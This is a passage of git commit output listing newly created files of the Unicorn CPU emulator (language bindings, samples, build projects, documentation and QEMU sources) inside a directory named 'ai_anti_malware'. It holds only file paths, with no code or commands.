ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/arm_const.go create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/context.go create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/context_test.go create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/hook.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/hook.go create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/hook.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/m68k_const.go create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/mips_const.go create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/reg_batch.go create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/sparc_const.go create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/uc.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/uc.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/unicorn.go create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/unicorn_const.go create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/unicorn_test.go create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/x86.go create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/x86_const.go create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/x86_test.go create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/.gitignore create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/README.TXT create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/Setup.hs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleArm.hs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleArm64.hs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleBatchReg.hs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleM68k.hs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleMips.hs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleSparc.hs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/SampleX86.hs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/samples/Shellcode.hs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn.hs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/Arm.chs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/Arm64.chs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/M68k.chs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/Mips.chs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/Sparc.chs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/CPU/X86.chs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/Hook.hs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/Internal/Core.chs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/Internal/Hook.chs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/Internal/Unicorn.chs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/Unicorn/Internal/Util.hs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/cbits/unicorn_wrapper.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/src/include/unicorn_wrapper.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/haskell/unicorn.cabal create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/Makefile create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/Makefile.build create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/README.TXT create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/SampleNetworkAuditing.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_arm.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_arm64.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_m68k.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_mips.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_sparc.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_x86.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Sample_x86_mmr.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/samples/Shellcode.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/Arm64Const.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/ArmConst.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/BlockHook.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/CodeHook.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/EventMemHook.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/Hook.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/InHook.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/InterruptHook.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/M68kConst.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/MemHook.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/MemRegion.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/MipsConst.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/OutHook.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/ReadHook.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/SparcConst.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/SyscallHook.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/Unicorn.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/UnicornConst.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/UnicornException.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/WriteHook.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/X86Const.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/X86_MMR.java create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn_Unicorn.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/pascal/LICENSE create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/pascal/README.md create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/pascal/examples/x86.lpi create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/pascal/examples/x86.lpr create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/pascal/examples/x86.lps create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/Arm64Const.pas create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/ArmConst.pas create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/M68kConst.pas create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/MipsConst.pas create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/SparcConst.pas create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/UnicornConst.pas create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/Unicorn_dyn.pas create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/X86Const.pas create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/MANIFEST.in create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/Makefile create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/README.TXT create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/build_wheel.sh create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/prebuilt/.gitkeep create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_all.sh create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_arm.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_arm64.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_arm64eb.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_armeb.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_m68k.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_mips.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_network_auditing.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_sparc.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_x86.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/setup.cfg create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/setup.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/shellcode.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/__init__.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/arm64_const.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/arm_const.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/m68k_const.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/mips_const.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/sparc_const.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/unicorn.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/unicorn_const.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/x86_const.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/Makefile create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/README.md create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_arm.rb create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_arm64.rb create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_m68k.rb create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_mips.rb create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_sparc.rb create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_x86.rb create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_x86_gdt.rb create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/test_hook_gc.rb create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/Gemfile create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/Rakefile create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/ext/extconf.rb create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/ext/types.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/ext/unicorn.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/ext/unicorn.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/arm64_const.rb create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/arm_const.rb create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/m68k_const.rb create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/mips_const.rb create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/sparc_const.rb create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/unicorn_const.rb create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/version.rb create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/x86_const.rb create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/pkg/.gitignore create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/unicorn-engine.gemspec create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/vb6/.gitattributes create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/vb6/CMemRegion.cls create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/vb6/Form1.frm create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/vb6/Project1.vbp create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/vb6/README.txt create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/vb6/example_output.txt create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/vb6/main.cpp create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/vb6/misc.bas create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/vb6/screenshot.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/vb6/ucIntel32.cls create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/vb6/uc_def.bas create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/vb6/ucvbshim.sln create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/vb6/ucvbshim.vcproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/cmake.sh create mode 100644 ai_anti_malware/unicorn/unicorn-master/config.mk create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/BHUSA2015-unicorn.pdf create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/COMPILE-CMAKE.md create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/COMPILE-NIX.md create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/COMPILE-WINDOWS.md create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/COMPILE.md create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/ABkexFCfphu3zIg.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/DkztJcigHCdmnRp.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/F3rSByYuNTGDtC1.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/I25E9sWcJpGyax7.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/IZhyWrGebA5tT4i.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/K4HMijIVt6lofvT.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/MbZk8KjQFqJOxmd.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/NExsavSgu4yMbBQ.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/OVaHwelNQ4tcLmo.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/YCMNcEVyX8GHoPb.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/ZtRKvUoaPTlshJ4.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/aU1lbmxMjXA5g3K.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/bpu4r8hgzUvO7Pm.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/dqKBwAWUL7XvypE.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/fOnNpSKvjYyc7QB.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/iyodlNFY7hHEOgS.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/juNPWvwGUlraKRh.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/kbrF7NdV6LDxnYI.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/l1AhdxgKE2U3tZB.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/l4HhgDzcJIVvFNU.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/q3JtOQRPl5xTFKp.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/Micro Unicorn-Engine API Documentation.md create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/OPENBSD-NOTES.md create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/README.md create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/unicorn-logo.png create mode 100644 ai_anti_malware/unicorn/unicorn-master/docs/unicorn-logo.txt create mode 100644 ai_anti_malware/unicorn/unicorn-master/include/list.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/include/qemu.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/include/uc_priv.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/include/unicorn/arm.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/include/unicorn/arm64.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/include/unicorn/m68k.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/include/unicorn/mips.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/include/unicorn/platform.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/include/unicorn/sparc.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/include/unicorn/unicorn.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/include/unicorn/x86.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/install-cmocka-linux.sh create mode 100644 ai_anti_malware/unicorn/unicorn-master/list.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/make.sh create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc.bat create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/.gitignore create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/README.TXT create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/mem_apis/mem_apis.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/mem_apis/mem_apis.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm/sample_arm.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm/sample_arm.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm64/sample_arm64.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm64/sample_arm64.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm64eb/sample_arm64eb.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm64eb/sample_arm64eb.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_armeb/sample_armeb.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_armeb/sample_armeb.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_batch_reg/sample_batch_reg.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_batch_reg/sample_batch_reg.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_m68k/sample_m68k.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_m68k/sample_m68k.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_mips/sample_mips.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_mips/sample_mips.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_sparc/sample_sparc.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_sparc/sample_sparc.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_x86/sample_x86.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_x86/sample_x86.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_x86_32_gdt_and_seg_regs/sample_x86_32_gdt_and_seg_regs.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_x86_32_gdt_and_seg_regs/sample_x86_32_gdt_and_seg_regs.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/shellcode/shellcode.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/samples/shellcode/shellcode.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn.sln create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64-softmmu/aarch64-softmmu.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64-softmmu/aarch64-softmmu.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64-softmmu/config-target.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64eb-softmmu/aarch64eb-softmmu.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64eb-softmmu/aarch64eb-softmmu.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64eb-softmmu/config-target.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/arm-softmmu/arm-softmmu.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/arm-softmmu/arm-softmmu.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/arm-softmmu/config-target.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/armeb-softmmu/armeb-softmmu.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/armeb-softmmu/armeb-softmmu.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/armeb-softmmu/config-target.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/config-host.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/m68k-softmmu/config-target.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/m68k-softmmu/m68k-softmmu.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/m68k-softmmu/m68k-softmmu.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips-softmmu/config-target.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips-softmmu/mips-softmmu.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips-softmmu/mips-softmmu.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64-softmmu/config-target.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64-softmmu/mips64-softmmu.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64-softmmu/mips64-softmmu.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64el-softmmu/config-target.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64el-softmmu/mips64el-softmmu.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64el-softmmu/mips64el-softmmu.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mipsel-softmmu/config-target.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mipsel-softmmu/mipsel-softmmu.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mipsel-softmmu/mipsel-softmmu.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/prebuild_script.bat create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/qapi-types.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/qapi-types.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/qapi-visit.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/qapi-visit.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc-softmmu/config-target.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc-softmmu/sparc-softmmu.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc-softmmu/sparc-softmmu.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc64-softmmu/config-target.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc64-softmmu/sparc64-softmmu.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc64-softmmu/sparc64-softmmu.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/unicorn/dllmain.cpp create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/unicorn/unicorn.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/unicorn/unicorn.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/unicorn_static/unicorn_static.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/unicorn_static/unicorn_static.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/x86_64-softmmu/config-target.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/x86_64-softmmu/x86_64-softmmu.vcxproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/x86_64-softmmu/x86_64-softmmu.vcxproj.filters create mode 100644 ai_anti_malware/unicorn/unicorn-master/nmake.bat create mode 100644 ai_anti_malware/unicorn/unicorn-master/pkgconfig.mk create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/CODING_STYLE create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/COPYING create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/COPYING.LIB create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/HACKING create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/LICENSE create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/Makefile create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/Makefile.objs create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/Makefile.target create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/VERSION create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/aarch64.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/aarch64eb.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/accel.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/arm.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/armeb.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/configure create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/cpu-exec.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/cpus.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/cputlb.c create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/aarch64-softmmu.mak create mode 100644 ai_anti_malware/unicorn/unicorn-master/qemu/default-configs/aarch64eb-softmmu.mak create mode 100644 